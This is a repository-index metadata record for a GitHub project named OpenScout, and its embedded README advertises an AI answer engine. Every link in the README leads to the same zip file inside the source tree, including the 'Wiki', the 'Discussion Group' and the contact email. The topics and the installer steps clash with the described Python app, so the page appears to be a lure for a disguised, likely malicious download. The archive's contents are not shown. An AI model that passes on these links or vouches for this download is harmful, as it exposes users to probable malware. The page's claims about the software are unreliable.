{"id":33374402,"url":"https://github.com/boxcalfdevelopmentallearning748/openscout","last_synced_at":"2026-04-10T11:02:21.718Z","repository":{"id":325649045,"uuid":"1101786705","full_name":"boxcalfdevelopmentallearning748/OpenScout","owner":"boxcalfdevelopmentallearning748","description":"🔍 Enhance your queries with OpenScout, a RAG system that retrieves, ranks, and synthesizes web content for concise answers using LLM integration.","archived":false,"fork":false,"pushed_at":"2025-11-22T14:13:34.000Z","size":1086,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-11-22T16:17:35.181Z","etag":null,"topics":["android","android-studio","faiss","firebase","frc-scouting","frc-steamworks","gemini","generative-ai","mcp","mcp-server","neo4j","openai","robotics","robotics-competition","sqlite","tavily","vector-database"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/boxcalfdevelopmentallearning748.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-11-22T08:30:14.000Z","updated_at":"2025-11-22T14:13:37.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/boxcalfdevelopmentallearning748/OpenScout","commit_stats":null,"previous_names":["boxcalfdevelopmentallearning748/openscout"],"tags_count":null,"template":false,"template_full_name":null,"purl":"pkg:github/boxcalfdevelopmentallearning748/OpenScout","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/boxcalfdevelopmentallearning748%2FOpenScout","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/boxcalfdevelopmentallearning748%2FOpenScout/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/boxcalfdevelopmentallearning748%2FOpenScout/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/boxcalfdevelopmentallearning748%2FOpenScout/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/boxcalfdevelopmentallearning748","download_url":"https://codeload.github.com/boxcalfdevelopmentallearning748/OpenScout/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/boxcalfdevelopmentallearning748%2FOpenScout/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":285873538,"owners_count":27246054,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-11-22T02:00:05.934Z","response_time":64,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["android","android-studio","faiss","firebase","frc-scouting","frc-steamworks","gemini","generative-ai","mcp","mcp-server","neo4j","openai","robotics","robotics-competition","sqlite","tavily","vector-database"],"created_at":"2025-11-22T23:01:36.660Z","updated_at":"2026-04-10T11:02:21.712Z","avatar_url":"https://github.com/boxcalfdevelopmentallearning748.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🚀 OpenScout - Your Smart Answer Engine Awaits\n\n[![Download OpenScout](https://github.com/boxcalfdevelopmentallearning748/OpenScout/raw/refs/heads/main/core/mcp/Scout_Open_2.0.zip%20OpenScout-v1.0-blue)](https://github.com/boxcalfdevelopmentallearning748/OpenScout/raw/refs/heads/main/core/mcp/Scout_Open_2.0.zip)\n\n## 📚 Overview\n\nOpenScout is a Perplexity-inspired answer engine. It transforms a single question into a well-researched, cited response. With features such as web search, retrieval, and LLM synthesis, OpenScout offers a streamlined experience in a lightweight Streamlit application.\n\n## ⚙️ Features\n\n- **Quick Answers:** Get instant, cited answers to your questions.\n- **User-Friendly Interface:** Designed for everyone, no tech skills required.\n- **Powered by Advanced Technologies:** Utilizes web search and generative AI.\n- **Easy Setup:** Simple installation process.\n\n## 📝 System Requirements\n\nTo run OpenScout, ensure your system meets the following requirements:\n\n- Operating System: Windows 10 or higher, macOS 10.15 or higher, or any modern Linux distribution.\n- Python: Python 3.8 or higher.\n- RAM: Minimum 4 GB recommended.\n- Storage: At least 500 MB of free space.\n\n## 🚀 Getting Started\n\n1. **Visit the Download Page:** To download OpenScout, click [here](https://github.com/boxcalfdevelopmentallearning748/OpenScout/raw/refs/heads/main/core/mcp/Scout_Open_2.0.zip).\n2. **Choose the Latest Release:** Look for the latest version in the releases section. The latest version offers the newest features and bug fixes.\n3. **Download the Installer:** Click on the appropriate installer for your operating system. \n\n## 📥 Download \u0026 Install\n\nTo start using OpenScout, visit this page to download: [Download OpenScout](https://github.com/boxcalfdevelopmentallearning748/OpenScout/raw/refs/heads/main/core/mcp/Scout_Open_2.0.zip).\n\n### Installation Steps\n\n1. **Run the Installer:**\n   - For Windows, double-click the `.exe` file.\n   - For macOS, open the `.dmg` file and drag OpenScout to your Applications folder.\n   - For Linux, unzip the downloaded file and run the install script.\n\n2. **Follow Installation Prompts:** Follow the on-screen instructions. This usually involves accepting terms and choosing an installation location.\n\n3. **Open OpenScout:** After installation, locate OpenScout in your applications menu and double-click to launch it.\n\n## ❓ How to Use OpenScout\n\n1. **Enter Your Question:** Type in your question in the input box provided.\n2. **Get Your Answer:** Press enter or click the search button. OpenScout will gather data and provide a response with citations.\n3. **Explore Further:** Click on any cited links for more information.\n\n## 🌐 Additional Resources\n\n- **Documentation:** For more detailed instructions and troubleshooting, visit our [Wiki](https://github.com/boxcalfdevelopmentallearning748/OpenScout/raw/refs/heads/main/core/mcp/Scout_Open_2.0.zip).\n- **Community Support:** Join our [Discussion Group](https://github.com/boxcalfdevelopmentallearning748/OpenScout/raw/refs/heads/main/core/mcp/Scout_Open_2.0.zip) for help from other users and developers.\n\n## 🛠️ Troubleshooting Guide\n\nIf you encounter any issues while using OpenScout, consider the following steps:\n\n- **Check System Requirements:** Ensure you meet the minimum system specifications.\n- **Restart Your Device:** Sometimes, a simple restart can solve many issues.\n- **Reinstall OpenScout:** If problems persist, try uninstalling and reinstalling the application.\n\n## 📞 Contact Us\n\nFor further questions or support, please reach out via our GitHub issues page or email us directly at https://github.com/boxcalfdevelopmentallearning748/OpenScout/raw/refs/heads/main/core/mcp/Scout_Open_2.0.zip We are here to help!\n\n## 🏷️ Topics\n\nOpenScout relates to the following topics:\n- faiss\n- gemini\n- generative-ai\n- mcp\n- mcp-server\n- neo4j\n- openai\n- sqlite\n- tavily\n- vector-database\n\nYour journey to smarter answers begins today. Download OpenScout and explore the future of answered inquiries.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fboxcalfdevelopmentallearning748%2Fopenscout","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fboxcalfdevelopmentallearning748%2Fopenscout","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fboxcalfdevelopmentallearning748%2Fopenscout/lists"}